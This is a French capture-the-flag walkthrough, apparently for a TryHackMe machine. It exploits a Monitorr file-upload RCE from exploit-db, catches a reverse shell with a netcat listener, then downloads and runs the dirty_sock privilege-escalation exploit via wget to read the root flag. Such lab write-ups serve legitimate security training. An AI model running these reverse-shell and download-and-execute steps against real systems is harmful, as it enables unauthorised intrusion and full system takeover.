Tout d’abord, il faut énumérer la machine avec nmap
nmap -A -p- ipaddress
Il y a beaucoup de port ouvert, qui tous des rabbits holes ( comme il arrive parfois sur les machines d’Offensive Security… )
Il faut surtout s’intéresser au port 443.
Comme on peut le voir sur la capture, il y a plusieurs sous domaine dont celui monitorr.robyns-petshop.thm. En effectuant une recherche dans Google, on tombe facilement sur le site exploit-db qui propose deux exploits.
https://www.exploit-db.com/exploits/48980
https://www.exploit-db.com/exploits/48981
Pour la raison évoquer plus haut, nous allons utiliser le 2ᵉ exploit qui permet d’obtenir un RCE.
Voici les modifications (en rouge) à apporter au script afin de le rendre fonctionnel.
requests.post(url, headers=headers, data=data, cookies={‘isHuman’:’1′} , verify=False)
requests.get(url, headers=headers, cookies={‘isHuman’:’1′} , verify=False)
Sur les lignes 22 et 27 il faut modifier le nom du reverse shell afin de bypasser le filtrage par extentions et par type.
Le cookie isHuman s’obtient en allant sur le site monitorr et en faisant f12 sur Firefox.
Maintenant que le script est configuré, il faut mettre en place un écouteur nc avec cette commande nc -nlvp 443 puis il faut exécuter le script.
python3.9 48980_2.py https://monitorr.robyns-petshop.thm/ 10.8.76.250 443
Normalement, un reverse shell devrait arriver sur nc.
S’il reverse shell n’arrive pas sur nc, il faut se rendre dans le répertoire d’upload à savoir : https://monitorr.robyns-petshop.thm/assets/data/usrimg/ . En cliquant sur le nom du shell, il s’exécutera.
Le 1ier flag se trouve dans le répertoire /var/www
Linpeas ne trouve pas d’élément probant. En revanchant en utilisant Linux Exploit Suggester, on peut voir que plusieurs exploits sont possible dont notamment [CVE-2019-7304] dirty_sock.
Pour télécharger LES directement sur la machine cible :
git clone https://github.com/mzet-/linux-exploit-suggester.git
Puis faire cd /linux_exploit_suggester
puis bash les.sh
wget https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
python3 dirty_sockv2.py
Attention, vous aurez peut-être une erreur lors de l’exécution, sans pour autant signifier que l’exploit n’ai pas fonctionné.
De toute manière, il faut lire chaque script provenant d’internet avant de les utiliser. On peut donc voir, que dans le contenu de l’exploit, se trouve les identifiants à utiliser. Dotant plus que l’erreur n’est que problème de connexion et non d’exécution de l’exploit en lui-même .
Changement d’utilisateur :
su dirty_sock
password : dirty_sock
sudo cat /root/root.txt